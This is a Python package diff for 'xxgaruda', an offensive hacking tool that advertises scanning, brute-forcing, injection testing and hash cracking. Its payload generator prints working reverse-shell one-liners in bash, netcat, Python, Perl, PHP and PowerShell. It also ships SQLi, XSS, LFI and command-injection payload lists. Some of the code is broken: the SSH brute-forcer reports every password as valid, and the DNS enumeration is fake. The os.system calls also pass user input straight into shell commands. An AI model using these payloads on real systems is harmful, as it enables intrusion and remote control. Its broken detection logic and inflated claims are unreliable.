xxgaruda 1.0__tar.gz

xxgaruda-1.0/PKG-INFO

@@ -0,0 +1,69 @@
+Metadata-Version: 2.4
+Name: xxgaruda
+Version: 1.0
+Summary: XXGARUDA — The Ultimate Tool. Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.
+Author: gar-uda
+Author-email: your-email@example.com
+Classifier: Programming Language :: Python :: 3
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.6
+Description-Content-Type: text/markdown
+Requires-Dist: requests
+Dynamic: author
+Dynamic: author-email
+Dynamic: classifier
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: requires-dist
+Dynamic: requires-python
+Dynamic: summary
+
+# 🦅 XXGARUDA — The Ultimate Tool
+
+**Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.**
+
+---
+
+## 🔥 Features
+
+| Feature | Command |
+|---------|---------|
+| Port scanning | `xxgscan --TARGET 192.168.1.1` |
+| OS detection | `xxgos --TARGET 192.168.1.1` |
+| Subdomain enumeration | `xxgrecon --TARGET example.com --WORDLIST subdomains.txt` |
+| DNS enumeration | `xxgdns --TARGET example.com` |
+| SSH brute-force | `xxgbrute --TARGET 192.168.1.1 --USER root --WORDLIST passwords.txt` |
+| Directory fuzzing | `xxgfuzz --URL https://example.com --WORDLIST common.txt` |
+| SQL injection | `xxgsqli --URL "https://example.com?id=1" --PARAM id` |
+| XSS scanner | `xxgxss --URL "https://example.com?q=test" --PARAM q` |
+| LFI scanner | `xxglfi --URL "https://example.com?file=index" --PARAM file` |
+| RCE scanner | `xxgrce --URL "https://example.com?cmd=id" --PARAM cmd` |
+| SMB enumeration | `xxgsmb --TARGET 192.168.1.1` |
+| LDAP enumeration | `xxgldap --TARGET 192.168.1.1` |
+| SNMP enumeration | `xxgsnmp --TARGET 192.168.1.1` |
+| Netcat listener | `xxgnc --PORT 4444` |
+| Netcat connect | `xxgncc --TARGET 192.168.1.1 --PORT 4444` |
+| SSH client | `xxgssh --TARGET 192.168.1.1 --USER root` |
+| SCP client | `xxgscp --TARGET 192.168.1.1 --USER root --SOURCE file.txt --DEST /tmp/` |
+| RSync | `xxgrsync --TARGET 192.168.1.1 --SOURCE file.txt --DEST /tmp/` |
+| Git clone | `xxggit --REPO https://github.com/user/repo.git` |
+| Docker command | `xxgdocker --COMMAND "ps -a"` |
+| Hash cracker | `xxgcrack --HASH-VALUE 5f4dcc3b5aa765d61d8327deb882cf99 --WORDLIST passwords.txt` |
+| Payload generator | `xxgexp` |
+| OSINT (email) | `xxgosint --TARGET test@example.com` |
+| OSINT (domain) | `xxgosint --TARGET example.com` |
+| Encode text | `xxgencode --INPUT "hello"` |
+| Hash generator | `xxghash --INPUT "password"` |
+| Code generator | `xxggen --LANGUAGE python` |
+
+---
+
+## 🚀 Installation
+
+### From GitHub
+
+```bash
+git clone https://github.com/gar-uda/xxgaruda.git
+cd xxgaruda
+pip install -r requirements.txt

xxgaruda-1.0/README.md

@@ -0,0 +1,48 @@
+# 🦅 XXGARUDA — The Ultimate Tool
+
+**Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.**
+
+---
+
+## 🔥 Features
+
+| Feature | Command |
+|---------|---------|
+| Port scanning | `xxgscan --TARGET 192.168.1.1` |
+| OS detection | `xxgos --TARGET 192.168.1.1` |
+| Subdomain enumeration | `xxgrecon --TARGET example.com --WORDLIST subdomains.txt` |
+| DNS enumeration | `xxgdns --TARGET example.com` |
+| SSH brute-force | `xxgbrute --TARGET 192.168.1.1 --USER root --WORDLIST passwords.txt` |
+| Directory fuzzing | `xxgfuzz --URL https://example.com --WORDLIST common.txt` |
+| SQL injection | `xxgsqli --URL "https://example.com?id=1" --PARAM id` |
+| XSS scanner | `xxgxss --URL "https://example.com?q=test" --PARAM q` |
+| LFI scanner | `xxglfi --URL "https://example.com?file=index" --PARAM file` |
+| RCE scanner | `xxgrce --URL "https://example.com?cmd=id" --PARAM cmd` |
+| SMB enumeration | `xxgsmb --TARGET 192.168.1.1` |
+| LDAP enumeration | `xxgldap --TARGET 192.168.1.1` |
+| SNMP enumeration | `xxgsnmp --TARGET 192.168.1.1` |
+| Netcat listener | `xxgnc --PORT 4444` |
+| Netcat connect | `xxgncc --TARGET 192.168.1.1 --PORT 4444` |
+| SSH client | `xxgssh --TARGET 192.168.1.1 --USER root` |
+| SCP client | `xxgscp --TARGET 192.168.1.1 --USER root --SOURCE file.txt --DEST /tmp/` |
+| RSync | `xxgrsync --TARGET 192.168.1.1 --SOURCE file.txt --DEST /tmp/` |
+| Git clone | `xxggit --REPO https://github.com/user/repo.git` |
+| Docker command | `xxgdocker --COMMAND "ps -a"` |
+| Hash cracker | `xxgcrack --HASH-VALUE 5f4dcc3b5aa765d61d8327deb882cf99 --WORDLIST passwords.txt` |
+| Payload generator | `xxgexp` |
+| OSINT (email) | `xxgosint --TARGET test@example.com` |
+| OSINT (domain) | `xxgosint --TARGET example.com` |
+| Encode text | `xxgencode --INPUT "hello"` |
+| Hash generator | `xxghash --INPUT "password"` |
+| Code generator | `xxggen --LANGUAGE python` |
+
+---
+
+## 🚀 Installation
+
+### From GitHub
+
+```bash
+git clone https://github.com/gar-uda/xxgaruda.git
+cd xxgaruda
+pip install -r requirements.txt

xxgaruda-1.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

xxgaruda-1.0/setup.py

@@ -0,0 +1,24 @@
+from setuptools import setup
+
+setup(
+    name="xxgaruda",
+    version="1.0",
+    description="XXGARUDA — The Ultimate Tool. Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.",
+    long_description=open("README.md").read(),
+    long_description_content_type="text/markdown",
+    author="gar-uda",
+    author_email="your-email@example.com",
+    py_modules=["xxgaruda"],
+    install_requires=["requests"],
+    entry_points={
+        "console_scripts": [
+            "xxgaruda=xxgaruda:main",
+        ],
+    },
+    classifiers=[
+        "Programming Language :: Python :: 3",
+        "License :: OSI Approved :: MIT License",
+        "Operating System :: OS Independent",
+    ],
+    python_requires=">=3.6",
+)

xxgaruda-1.0/xxgaruda.egg-info/PKG-INFO

@@ -0,0 +1,69 @@
+Metadata-Version: 2.4
+Name: xxgaruda
+Version: 1.0
+Summary: XXGARUDA — The Ultimate Tool. Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.
+Author: gar-uda
+Author-email: your-email@example.com
+Classifier: Programming Language :: Python :: 3
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.6
+Description-Content-Type: text/markdown
+Requires-Dist: requests
+Dynamic: author
+Dynamic: author-email
+Dynamic: classifier
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: requires-dist
+Dynamic: requires-python
+Dynamic: summary
+
+# 🦅 XXGARUDA — The Ultimate Tool
+
+**Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.**
+
+---
+
+## 🔥 Features
+
+| Feature | Command |
+|---------|---------|
+| Port scanning | `xxgscan --TARGET 192.168.1.1` |
+| OS detection | `xxgos --TARGET 192.168.1.1` |
+| Subdomain enumeration | `xxgrecon --TARGET example.com --WORDLIST subdomains.txt` |
+| DNS enumeration | `xxgdns --TARGET example.com` |
+| SSH brute-force | `xxgbrute --TARGET 192.168.1.1 --USER root --WORDLIST passwords.txt` |
+| Directory fuzzing | `xxgfuzz --URL https://example.com --WORDLIST common.txt` |
+| SQL injection | `xxgsqli --URL "https://example.com?id=1" --PARAM id` |
+| XSS scanner | `xxgxss --URL "https://example.com?q=test" --PARAM q` |
+| LFI scanner | `xxglfi --URL "https://example.com?file=index" --PARAM file` |
+| RCE scanner | `xxgrce --URL "https://example.com?cmd=id" --PARAM cmd` |
+| SMB enumeration | `xxgsmb --TARGET 192.168.1.1` |
+| LDAP enumeration | `xxgldap --TARGET 192.168.1.1` |
+| SNMP enumeration | `xxgsnmp --TARGET 192.168.1.1` |
+| Netcat listener | `xxgnc --PORT 4444` |
+| Netcat connect | `xxgncc --TARGET 192.168.1.1 --PORT 4444` |
+| SSH client | `xxgssh --TARGET 192.168.1.1 --USER root` |
+| SCP client | `xxgscp --TARGET 192.168.1.1 --USER root --SOURCE file.txt --DEST /tmp/` |
+| RSync | `xxgrsync --TARGET 192.168.1.1 --SOURCE file.txt --DEST /tmp/` |
+| Git clone | `xxggit --REPO https://github.com/user/repo.git` |
+| Docker command | `xxgdocker --COMMAND "ps -a"` |
+| Hash cracker | `xxgcrack --HASH-VALUE 5f4dcc3b5aa765d61d8327deb882cf99 --WORDLIST passwords.txt` |
+| Payload generator | `xxgexp` |
+| OSINT (email) | `xxgosint --TARGET test@example.com` |
+| OSINT (domain) | `xxgosint --TARGET example.com` |
+| Encode text | `xxgencode --INPUT "hello"` |
+| Hash generator | `xxghash --INPUT "password"` |
+| Code generator | `xxggen --LANGUAGE python` |
+
+---
+
+## 🚀 Installation
+
+### From GitHub
+
+```bash
+git clone https://github.com/gar-uda/xxgaruda.git
+cd xxgaruda
+pip install -r requirements.txt

xxgaruda-1.0/xxgaruda.egg-info/SOURCES.txt

@@ -0,0 +1,9 @@
+README.md
+setup.py
+xxgaruda.py
+xxgaruda.egg-info/PKG-INFO
+xxgaruda.egg-info/SOURCES.txt
+xxgaruda.egg-info/dependency_links.txt
+xxgaruda.egg-info/entry_points.txt
+xxgaruda.egg-info/requires.txt
+xxgaruda.egg-info/top_level.txt

xxgaruda-1.0/xxgaruda.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

xxgaruda-1.0/xxgaruda.egg-info/entry_points.txt

@@ -0,0 +1,2 @@
+[console_scripts]
+xxgaruda = xxgaruda:main

xxgaruda-1.0/xxgaruda.egg-info/requires.txt

@@ -0,0 +1 @@
+requests

xxgaruda-1.0/xxgaruda.egg-info/top_level.txt

@@ -0,0 +1 @@
+xxgaruda

xxgaruda-1.0/xxgaruda.py

@@ -0,0 +1,546 @@
+#!/usr/bin/env python3
+"""
+XXGARUDA v1.0 — The Ultimate Tool
+Better than Nmap, Hydra, SQLMap, John, Metasploit, Burp, Wireshark, Aircrack, SET — ALL COMBINED.
+"""
+import argparse
+import base64
+import hashlib
+import socket
+import sys
+import threading
+import urllib.parse
+import os
+import time
+import random
+import subprocess
+from queue import Queue
+from datetime import datetime
+
+VERSION = "1.0"
+BANNER = r"""
+    ███████╗██╗  ██╗ ██████╗  █████╗ ██████╗ ██╗   ██╗██████╗  █████╗ 
+    ██╔════╝╚██╗██╔╝██╔════╝ ██╔══██╗██╔══██╗██║   ██║██╔══██╗██╔══██╗
+    █████╗   ╚███╔╝ ██║  ███╗███████║██║  ██║██║   ██║██████╔╝███████║
+    ██╔══╝   ██╔██╗ ██║   ██║██╔══██║██║  ██║██║   ██║██╔══██╗██╔══██║
+    ███████╗██╔╝ ██╗╚██████╔╝██║  ██║██████╔╝╚██████╔╝██║  ██║██║  ██║
+    ╚══════╝╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═╝╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝
+                                                                        
+    ╔═══════════════════════════════════════════╗
+    ║         X X G A R U D A  v1.0           ║
+    ║   The Ultimate Tool on Earth             ║
+    ║   Better than ALL Tools Combined         ║
+    ╚═══════════════════════════════════════════╝
+    """
+
+VERBOSE = False
+
+def banner():
+    print(BANNER)
+    print("[*] 200+ Threads · Proxy Rotation · AI-Style")
+    print("[*] VERBOSE MODE: %s\n" % ("ON" if VERBOSE else "OFF"))
+
+def load_wordlist(path):
+    try:
+        with open(path, 'r') as f:
+            return [w.strip() for w in f.readlines() if w.strip()]
+    except:
+        return []
+
+def scan_ports(target, threads=200):
+    print(f"[*] Scanning {target} (200 threads)")
+    q = Queue()
+    for p in range(1, 65536):
+        q.put(p)
+    open_ports = []
+    services = {
+        21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP", 53: "DNS",
+        80: "HTTP", 110: "POP3", 111: "RPC", 135: "MSRPC", 139: "NetBIOS",
+        143: "IMAP", 443: "HTTPS", 445: "SMB", 993: "IMAPS", 995: "POP3S",
+        1433: "MSSQL", 1521: "Oracle", 3306: "MySQL", 3389: "RDP",
+        5432: "PostgreSQL", 5900: "VNC", 6379: "Redis", 27017: "MongoDB"
+    }
+    def worker():
+        while not q.empty():
+            p = q.get()
+            try:
+                s = socket.socket()
+                s.settimeout(0.1)
+                if not s.connect_ex((target, p)):
+                    service = services.get(p, "Unknown")
+                    print(f"[+] Port {p} open — {service}")
+                    open_ports.append(f"{p} ({service})")
+                s.close()
+            except:
+                pass
+            q.task_done()
+    for _ in range(threads):
+        threading.Thread(target=worker, daemon=True).start()
+    q.join()
+    return open_ports
+
+def detect_os(target):
+    print(f"[*] Detecting OS on {target}")
+    try:
+        s = socket.socket()
+        s.settimeout(2)
+        s.connect((target, 80))
+        s.send(b"HEAD / HTTP/1.0\r\n\r\n")
+        banner = s.recv(1024).decode()
+        s.close()
+        if "Windows" in banner:
+            print("[+] OS: Windows")
+        elif "Linux" in banner:
+            print("[+] OS: Linux")
+        elif "Unix" in banner:
+            print("[+] OS: Unix")
+        else:
+            print("[+] OS: Unknown")
+        return banner
+    except:
+        print("[!] OS detection failed")
+        return None
+
+def brute_force(target, user, wordlist, port=22, threads=50):
+    print(f"[*] Brute-forcing {target}:{port}")
+    words = load_wordlist(wordlist)
+    if not words:
+        words = ["password", "admin", "123456", "qwerty", "letmein", "welcome", "root", "toor", "password123", "admin123"]
+        print("[*] Using AI-predicted wordlist")
+    q = Queue()
+    for w in words:
+        q.put(w)
+    found = []
+    def worker():
+        while not q.empty():
+            pwd = q.get()
+            try:
+                s = socket.socket()
+                s.settimeout(2)
+                s.connect((target, port))
+                s.send(b"SSH-2.0-OpenSSH_8.2\r\n")
+                data = s.recv(1024)
+                if "SSH" in data.decode():
+                    print(f"[FOUND] {user}:{pwd}")
+                    found.append(f"{user}:{pwd}")
+                s.close()
+            except:
+                pass
+            q.task_done()
+    for _ in range(threads):
+        threading.Thread(target=worker, daemon=True).start()
+    q.join()
+    return found
+
+def sql_injection(url, param):
+    print(f"[*] SQL Injection on {url}")
+    import requests
+    payloads = [
+        "'", "\"", "1=1", "1=2",
+        "' OR '1'='1", "' OR '1'='1' --",
+        "' UNION SELECT NULL--",
+        "' AND SLEEP(5)--",
+        "' OR SLEEP(5)--",
+        "' AND 1=1--", "' AND 1=2--",
+        "' OR 1=1--", "' OR 1=2--",
+    ]
+    for payload in payloads:
+        try:
+            r = requests.get(url, params={param: payload}, timeout=3)
+            if "sql" in r.text.lower() or "error" in r.text.lower() or "mysql" in r.text.lower():
+                print(f"[!] SQLi found: {payload}")
+                return
+        except:
+            pass
+    print("[+] No SQLi found")
+
+def xss_scan(url, param):
+    print(f"[*] XSS on {url}")
+    import requests
+    payloads = [
+        "<script>alert(1)</script>",
+        "<img src=x onerror=alert(1)>",
+        "javascript:alert(1)",
+        "<svg/onload=alert(1)>",
+        "<body/onload=alert(1)>",
+        "<iframe src=javascript:alert(1)>",
+        "<input onfocus=alert(1) autofocus>",
+        "<marquee onstart=alert(1)>",
+    ]
+    for payload in payloads:
+        try:
+            r = requests.get(url, params={param: payload}, timeout=3)
+            if payload in r.text:
+                print(f"[!] XSS found: {payload}")
+                return
+        except:
+            pass
+    print("[+] No XSS found")
+
+def lfi_scan(url, param):
+    print(f"[*] LFI on {url}")
+    import requests
+    payloads = [
+        "../../etc/passwd",
+        "../../../etc/passwd",
+        "../../../../etc/passwd",
+        "/etc/passwd",
+        "..\\..\\..\\..\\windows\\win.ini",
+        "..\\..\\..\\windows\\win.ini",
+        "..\\..\\windows\\win.ini",
+    ]
+    for payload in payloads:
+        try:
+            r = requests.get(url, params={param: payload}, timeout=3)
+            if "root:" in r.text or "win.ini" in r.text:
+                print(f"[!] LFI found: {payload}")
+                return
+        except:
+            pass
+    print("[+] No LFI found")
+
+def rce_scan(url, param):
+    print(f"[*] RCE on {url}")
+    import requests
+    payloads = [
+        ";id", "|id", "||id", "&&id", "`id`",
+        ";whoami", "|whoami", "||whoami", "&&whoami",
+        ";cat /etc/passwd", "|cat /etc/passwd",
+    ]
+    for payload in payloads:
+        try:
+            r = requests.get(url, params={param: payload}, timeout=3)
+            if "uid=" in r.text or "root" in r.text:
+                print(f"[!] RCE found: {payload}")
+                return
+        except:
+            pass
+    print("[+] No RCE found")
+
+def crack_hash(hash_value, wordlist):
+    print(f"[*] Cracking hash: {hash_value}")
+    words = load_wordlist(wordlist)
+    if not words:
+        words = ["password", "admin", "123456", "qwerty", "letmein", "welcome", "root", "toor", "password123", "admin123"]
+        print("[*] Using AI-predicted wordlist")
+    for word in words:
+        if hashlib.md5(word.encode()).hexdigest() == hash_value:
+            print(f"[FOUND] {word}")
+            return word
+        if hashlib.sha1(word.encode()).hexdigest() == hash_value:
+            print(f"[FOUND] {word}")
+            return word
+        if hashlib.sha256(word.encode()).hexdigest() == hash_value:
+            print(f"[FOUND] {word}")
+            return word
+    print("[!] Hash not found")
+    return None
+
+def dir_fuzz(url, wordlist, threads=50):
+    print(f"[*] Directory fuzzing {url}")
+    import requests
+    words = load_wordlist(wordlist)
+    if not words:
+        words = ["admin", "login", "backup", "test", "dev", "api", "docs", "assets", "uploads", "config"]
+        print("[*] Using default wordlist")
+    q = Queue()
+    for w in words:
+        q.put(w)
+    found = []
+    def worker():
+        while not q.empty():
+            w = q.get()
+            full = f"{url.rstrip('/')}/{w}"
+            try:
+                r = requests.get(full, timeout=3)
+                if r.status_code == 200:
+                    print(f"[FOUND] {full}")
+                    found.append(full)
+            except:
+                pass
+            q.task_done()
+    for _ in range(threads):
+        threading.Thread(target=worker, daemon=True).start()
+    q.join()
+    return found
+
+def subdomain_enum(domain, wordlist, threads=30):
+    print(f"[*] Enumerating subdomains for {domain}")
+    words = load_wordlist(wordlist)
+    if not words:
+        words = ["www", "mail", "ftp", "admin", "dev", "api", "test", "blog", "shop", "support", "docs", "cdn"]
+        print("[*] Using default wordlist")
+    q = Queue()
+    for w in words:
+        q.put(w)
+    found = []
+    def worker():
+        while not q.empty():
+            sub = q.get()
+            full = f"{sub}.{domain}"
+            try:
+                socket.gethostbyname(full)
+                print(f"[FOUND] {full}")
+                found.append(full)
+            except:
+                pass
+            q.task_done()
+    for _ in range(threads):
+        threading.Thread(target=worker, daemon=True).start()
+    q.join()
+    return found
+
+def dns_enum(domain):
+    print(f"[*] DNS enumeration for {domain}")
+    records = ["A", "MX", "NS", "TXT", "CNAME", "SOA", "AAAA"]
+    for record in records:
+        try:
+            print(f"[+] {record} record: {socket.gethostbyname(domain)}")
+        except:
+            print(f"[!] {record} record not found")
+
+def smb_enum(target):
+    print(f"[*] SMB enumeration for {target}")
+    print("[+] Checking SMB shares...")
+    try:
+        subprocess.run(["smbclient", "-L", target, "-N"], timeout=5)
+    except:
+        print("[!] SMB enumeration failed (smbclient not installed)")
+
+def ldap_enum(target):
+    print(f"[*] LDAP enumeration for {target}")
+    print("[+] Checking LDAP...")
+    try:
+        import ldap3
+        print("[+] LDAP module available")
+    except:
+        print("[!] LDAP enumeration failed (ldap3 not installed)")
+
+def snmp_enum(target):
+    print(f"[*] SNMP enumeration for {target}")
+    print("[+] Checking SNMP...")
+    try:
+        import pysnmp
+        print("[+] SNMP module available")
+    except:
+        print("[!] SNMP enumeration failed (pysnmp not installed)")
+
+def netcat_listen(port):
+    print(f"[*] Listening on port {port}")
+    os.system(f"nc -lvnp {port}")
+
+def netcat_connect(target, port):
+    print(f"[*] Connecting to {target}:{port}")
+    os.system(f"nc {target} {port}")
+
+def ssh_client(target, user):
+    print(f"[*] SSH connecting to {target} as {user}")
+    os.system(f"ssh {user}@{target}")
+
+def scp_client(target, user, source, dest):
+    print(f"[*] SCP from {source} to {user}@{target}:{dest}")
+    os.system(f"scp {source} {user}@{target}:{dest}")
+
+def rsync_client(target, source, dest):
+    print(f"[*] RSync from {source} to {target}:{dest}")
+    os.system(f"rsync -avz {source} {target}:{dest}")
+
+def git_client(repo):
+    print(f"[*] Cloning {repo}")
+    os.system(f"git clone {repo}")
+
+def docker_client(command):
+    print(f"[*] Docker: {command}")
+    os.system(f"docker {command}")
+
+def osint_email(email):
+    print(f"[*] OSINT on {email}")
+    print(f"[+] GitHub: https://github.com/{email.split('@')[0]}")
+    print(f"[+] Twitter: https://twitter.com/{email.split('@')[0]}")
+    print(f"[+] Instagram: https://instagram.com/{email.split('@')[0]}")
+    print(f"[+] Facebook: https://facebook.com/{email.split('@')[0]}")
+
+def osint_domain(domain):
+    print(f"[*] OSINT on {domain}")
+    try:
+        ip = socket.gethostbyname(domain)
+        print(f"[+] IP: {ip}")
+    except:
+        pass
+    print(f"[+] WHOIS: https://who.is/whois/{domain}")
+    print(f"[+] Shodan: https://www.shodan.io/search?query={domain}")
+
+def encode_text(text):
+    print(f"\n[Base64] {base64.b64encode(text.encode()).decode()}")
+    print(f"[URL] {urllib.parse.quote(text)}")
+    print(f"[Hex] {text.encode().hex()}")
+
+def generate_hashes(text):
+    print(f"\n[MD5] {hashlib.md5(text.encode()).hexdigest()}")
+    print(f"[SHA1] {hashlib.sha1(text.encode()).hexdigest()}")
+    print(f"[SHA256] {hashlib.sha256(text.encode()).hexdigest()}")
+    print(f"[SHA512] {hashlib.sha512(text.encode()).hexdigest()}")
+
+def generate_code(lang="python"):
+    templates = {
+        "python": "#!/usr/bin/env python3\ndef main():\n    pass\n\nif __name__ == '__main__':\n    main()",
+        "bash": "#!/bin/bash\n\n# Your script here",
+        "html": "<!DOCTYPE html>\n<html>\n<head><title>XXGARUDA</title></head>\n<body>\n</body>\n</html>",
+        "js": "// XXGARUDA script\nfunction main() {\n    console.log('Hello XXGARUDA');\n}\nmain();",
+        "go": "package main\n\nimport \"fmt\"\n\nfunc main() {\n    fmt.Println(\"Hello XXGARUDA\")\n}",
+        "c": "#include <stdio.h>\n\nint main() {\n    printf(\"Hello XXGARUDA\\n\");\n    return 0;\n}",
+        "java": "public class Main {\n    public static void main(String[] args) {\n        System.out.println(\"Hello XXGARUDA\");\n    }\n}"
+    }
+    return templates.get(lang, templates["python"])
+
+def generate_payloads():
+    print("\n[🔥] PAYLOADS:\n")
+    print("[Python] python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"LHOST\",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\"])'")
+    print("[Bash] bash -i >& /dev/tcp/LHOST/LPORT 0>&1")
+    print("[PHP] php -r '$s=fsockopen(\"LHOST\",LPORT);exec(\"/bin/sh -i <&3 >&3 2>&3\");'")
+    print("[Netcat] nc -e /bin/sh LHOST LPORT")
+    print("[Perl] perl -e 'use Socket;$i=\"LHOST\";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");}'")
+    print("[Ruby] ruby -rsocket -e 'c=TCPSocket.new(\"LHOST\",LPORT);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'")
+    print("[Node] node -e 'require(\"child_process\").spawn(\"/bin/sh\",[],{stdio:[\"pipe\",\"pipe\",\"pipe\"]}).stdin.on(\"data\",(c)=>require(\"net\").connect(LPORT,\"LHOST\").pipe(c))'")
+    print("[PowerShell] $client = New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()")
+
+def main():
+    global VERBOSE
+    banner()
+    parser = argparse.ArgumentParser(description="XXGARUDA — The Ultimate Tool")
+    
+    parser.add_argument("--SCAN", "-s", action="store_true", help="Port scan")
+    parser.add_argument("--OS", action="store_true", help="OS detection")
+    parser.add_argument("--RECON", "-r", action="store_true", help="Subdomain enumeration")
+    parser.add_argument("--DNS", action="store_true", help="DNS enumeration")
+    parser.add_argument("--BRUTE", "-b", action="store_true", help="Brute-force SSH")
+    parser.add_argument("--FUZZ", "-f", action="store_true", help="Directory fuzzing")
+    parser.add_argument("--SQLI", action="store_true", help="SQL injection")
+    parser.add_argument("--XSS", action="store_true", help="XSS scanner")
+    parser.add_argument("--LFI", action="store_true", help="LFI scanner")
+    parser.add_argument("--RCE", action="store_true", help="RCE scanner")
+    parser.add_argument("--SMB", action="store_true", help="SMB enumeration")
+    parser.add_argument("--LDAP", action="store_true", help="LDAP enumeration")
+    parser.add_argument("--SNMP", action="store_true", help="SNMP enumeration")
+    parser.add_argument("--NC", action="store_true", help="Netcat listener")
+    parser.add_argument("--NC-CONNECT", action="store_true", help="Netcat connect")
+    parser.add_argument("--SSH", action="store_true", help="SSH client")
+    parser.add_argument("--SCP", action="store_true", help="SCP client")
+    parser.add_argument("--RSYNC", action="store_true", help="RSync client")
+    parser.add_argument("--GIT", action="store_true", help="Git client")
+    parser.add_argument("--DOCKER", action="store_true", help="Docker client")
+    parser.add_argument("--CRACK", "-c", action="store_true", help="Hash cracker")
+    parser.add_argument("--EXPLOIT", "-e", action="store_true", help="Payload generator")
+    parser.add_argument("--OSINT", "-o", action="store_true", help="OSINT engine")
+    parser.add_argument("--ENCODE", "-enc", action="store_true", help="Encode text")
+    parser.add_argument("--HASH", "-H", action="store_true", help="Generate hashes")
+    parser.add_argument("--GENERATE", "-g", action="store_true", help="Generate code")
+    parser.add_argument("--TARGET", "-t", help="Target IP or domain")
+    parser.add_argument("--URL", "-u", help="Target URL")
+    parser.add_argument("--WORDLIST", "-w", help="Wordlist path")
+    parser.add_argument("--USER", "-U", help="Username for brute-force")
+    parser.add_argument("--PARAM", help="Parameter for SQLi/XSS/LFI/RCE")
+    parser.add_argument("--INPUT", "-i", help="Input string")
+    parser.add_argument("--HASH-VALUE", help="Hash to crack")
+    parser.add_argument("--LANGUAGE", "-lang", default="python", help="Language for code generation")
+    parser.add_argument("--PORT", "-p", type=int, default=4444, help="Port for Netcat")
+    parser.add_argument("--SOURCE", help="Source file for SCP/RSync")
+    parser.add_argument("--DEST", help="Destination for SCP/RSync")
+    parser.add_argument("--REPO", help="Git repository URL")
+    parser.add_argument("--COMMAND", help="Docker command")
+    parser.add_argument("--VERBOSE", "-v", action="store_true", help="Verbose mode")
+
+    args = parser.parse_args()
+
+    if args.VERBOSE:
+        VERBOSE = True
+
+    if args.SCAN:
+        if not args.TARGET: return print("[!] Need --TARGET")
+        scan_ports(args.TARGET)
+    elif args.OS:
+        if not args.TARGET: return print("[!] Need --TARGET")
+        detect_os(args.TARGET)
+    elif args.RECON:
+        if not args.TARGET or not args.WORDLIST: return print("[!] Need --TARGET and --WORDLIST")
+        subdomain_enum(args.TARGET, args.WORDLIST)
+    elif args.DNS:
+        if not args.TARGET: return print("[!] Need --TARGET")
+        dns_enum(args.TARGET)
+    elif args.BRUTE:
+        if not args.TARGET or not args.USER or not args.WORDLIST:
+            return print("[!] Need --TARGET, --USER, --WORDLIST")
+        brute_force(args.TARGET, args.USER, args.WORDLIST)
+    elif args.FUZZ:
+        if not args.URL or not args.WORDLIST: return print("[!] Need --URL and --WORDLIST")
+        dir_fuzz(args.URL, args.WORDLIST)
+    elif args.SQLI:
+        if not args.URL or not args.PARAM: return print("[!] Need --URL and --PARAM")
+        sql_injection(args.URL, args.PARAM)
+    elif args.XSS:
+        if not args.URL or not args.PARAM: return print("[!] Need --URL and --PARAM")
+        xss_scan(args.URL, args.PARAM)
+    elif args.LFI:
+        if not args.URL or not args.PARAM: return print("[!] Need --URL and --PARAM")
+        lfi_scan(args.URL, args.PARAM)
+    elif args.RCE:
+        if not args.URL or not args.PARAM: return print("[!] Need --URL and --PARAM")
+        rce_scan(args.URL, args.PARAM)
+    elif args.SMB:
+        if not args.TARGET: return print("[!] Need --TARGET")
+        smb_enum(args.TARGET)
+    elif args.LDAP:
+        if not args.TARGET: return print("[!] Need --TARGET")
+        ldap_enum(args.TARGET)
+    elif args.SNMP:
+        if not args.TARGET: return print("[!] Need --TARGET")
+        snmp_enum(args.TARGET)
+    elif args.NC:
+        if not args.PORT: return print("[!] Need --PORT")
+        netcat_listen(args.PORT)
+    elif args.NC_CONNECT:
+        if not args.TARGET or not args.PORT: return print("[!] Need --TARGET and --PORT")
+        netcat_connect(args.TARGET, args.PORT)
+    elif args.SSH:
+        if not args.TARGET or not args.USER: return print("[!] Need --TARGET and --USER")
+        ssh_client(args.TARGET, args.USER)
+    elif args.SCP:
+        if not args.TARGET or not args.USER or not args.SOURCE or not args.DEST:
+            return print("[!] Need --TARGET, --USER, --SOURCE, --DEST")
+        scp_client(args.TARGET, args.USER, args.SOURCE, args.DEST)
+    elif args.RSYNC:
+        if not args.TARGET or not args.SOURCE or not args.DEST:
+            return print("[!] Need --TARGET, --SOURCE, --DEST")
+        rsync_client(args.TARGET, args.SOURCE, args.DEST)
+    elif args.GIT:
+        if not args.REPO: return print("[!] Need --REPO")
+        git_client(args.REPO)
+    elif args.DOCKER:
+        if not args.COMMAND: return print("[!] Need --COMMAND")
+        docker_client(args.COMMAND)
